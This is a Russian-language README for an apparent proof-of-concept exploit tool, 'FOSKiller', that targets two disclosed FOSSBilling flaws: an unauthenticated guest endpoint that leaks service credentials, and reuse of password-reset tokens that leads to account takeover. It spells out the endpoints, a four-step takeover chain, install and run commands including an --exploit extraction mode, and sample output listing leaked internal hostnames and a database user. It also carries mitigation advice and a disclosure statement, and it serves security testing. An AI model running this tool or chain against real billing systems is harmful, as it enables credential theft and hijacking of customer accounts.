
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Неаутентифицированное раскрытие ключа API и повторное использование токена сброса пароля
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
создан 7megaumka7
PoC-инструмент для двух принятых уязвимостей GitHub Security Advisory в FOSSBilling ≤ 0.7.2
FOSKiller — это инструмент доказательства концепции, демонстрирующий две уязвимости в FOSSBilling — платформе с открытым исходным кодом для управления биллингом и клиентами. Обе уязвимости были ответственно раскрыты через программу GitHub Security Advisory и полностью исправлены в FOSSBilling 0.7.3+.
Инструмент предназначен для:
Гостевой эндпоинт /api/guest/serviceapikey/get_info возвращает полную конфигурацию
сервиса — включая поля custom_*, учётные данные API, имена хостов и пароли —
без какой-либо аутентификации. Злоумышленник, знающий или подбирающий действительный
API-ключ, может получить всю конфигурацию серверного сервиса через общедоступный эндпоинт.
Воздействие: Раскрытие учётных данных сервиса, внутренних имён хостов, секретов API.
Когда клиент инициирует два последовательных сброса пароля для одной и той же учётной записи, приложение выдаёт новый токен, но не делает недействительным предыдущий. Злоумышленник, ранее перехвативший первый токен, может использовать его для установки нового пароля даже после того, как легитимный пользователь завершит свой собственный сброс.
Цепочка атаки:
1. Злоумышленник отправляет POST /api/guest/client/reset_password → перехватывает токен T1
2. Жертва инициирует свой сброс → приложение выдает T2, T1 остаётся действительным
3. Злоумышленник вызывает POST /api/guest/client/update_password?hash=T1 с выбранным паролем
4. Злоумышленник получает постоянный доступ независимо от завершения сброса жертвой
Воздействие: Постоянный угон учётной записи любого клиента, чьё письмо для сброса может быть перехвачено.
Если зависимости отсутствуют, скрипт обнаружит это при запуске и предложит установить их автоматически.
Клонирование и установка зависимостей:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Или запуск без предварительной установки — скрипт предложит установить отсутствующие пакеты при первом запуске.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only и --exploit взаимоисключающие.
Только обнаружение — проверка обоих CVE без извлечения данных:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Полное извлечение и документирование цепочки атаки:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Сохранение результатов в JSON и маршрутизация через Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Тестирование неизвестной или уже исправленной версии:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]
── CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover ─────
[*] Sending reset request #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Sending reset request #2 (same email) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Time delta between requests : 0.643s
[!] Both reset requests succeeded — endpoint accepts repeated resets without rate-limiting.
── Summary ─────────────────────────────────────────────────────────────
CVE GHSA Severity Status
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderate (CVSS 6.9) VULNERABLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p High (CVSS 7.7) POTENTIALLY_VULNERABLE
Обновите FOSSBilling до версии >= 0.7.3, в которой устранены обе уязвимости.
Если немедленное обновление невозможно:
| CVE | Временные меры |
|---|---|
| CVE-2026-53647 | Заблокируйте доступ к /api/guest/serviceapikey/ на уровне веб-сервера или WAF |
| CVE-2026-53646 | Реализуйте отзыв токена при повторной выдаче; добавьте ограничение скорости на эндпоинт сброса |
Обе уязвимости были сообщены разработчикам FOSSBilling через программу GitHub Security Advisory до публикации данного инструмента.
Данный инструмент предоставлен исключительно для образовательных целей и авторизованного тестирования безопасности.
Используйте этот инструмент только против систем, которыми вы владеете или на тестирование которых получили явное письменное разрешение. Несанкционированное использование против сторонних систем является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), Законом о неправомерном использовании компьютеров (Computer Misuse Act) и аналогичными законами по всему миру.
Автор не несёт ответственности за неправильное использование, ущерб или юридические последствия, возникшие в результате использования данного инструмента. Используя этот инструмент, вы соглашаетесь, что несёте полную ответственность за свои действия.
Исследователь и автор: 7megaumka7
Обнаружение уязвимостей, анализ, ответственное раскрытие и разработка инструмента.
| Advisory | CVE | Тип | CVSS | Затронутые версии |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Раскрытие конфигурации API-ключа без аутентификации | 6.9 Moderate | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Повторное использование токена сброса пароля → Угон учётной записи | 7.7 High | >= 0.5.6, <= 0.7.2 |
| Флаг | Обязательный | Описание |
|---|
--target URL | Да | Базовый URL экземпляра FOSSBilling |
--key KEY | Для CVE-2026-53647 | API-ключ для тестирования |
--email EMAIL | Для CVE-2026-53646 | Email клиента для тестирования |
--check-only | Нет | Режим обнаружения — подтвердить уязвимость без извлечения данных |
--exploit | Нет | Полное извлечение + документирование цепочки атаки |
--force | Нет | Пропустить проверку диапазона версий |
--output FILE | Нет | Сохранить полные результаты в JSON-файл |
--timeout SEC | Нет | Тайм-аут HTTP в секундах (по умолчанию: 10) |
--proxy URL | Нет | HTTP-прокси (например, http://127.0.0.1:8080) |
| Режим | Флаг | Действие |
|---|
| Обнаружение | --check-only | Подтверждает наличие уязвимости. Не отображает и не извлекает конфиденциальные значения. |
| По умолчанию | (без флага режима) | Подтверждает статус и отображает базовое доказательство. |
| Эксплуатация | --exploit | Извлекает все утёкшие поля; документирует полную цепочку захвата учётной записи с метаданными времени. |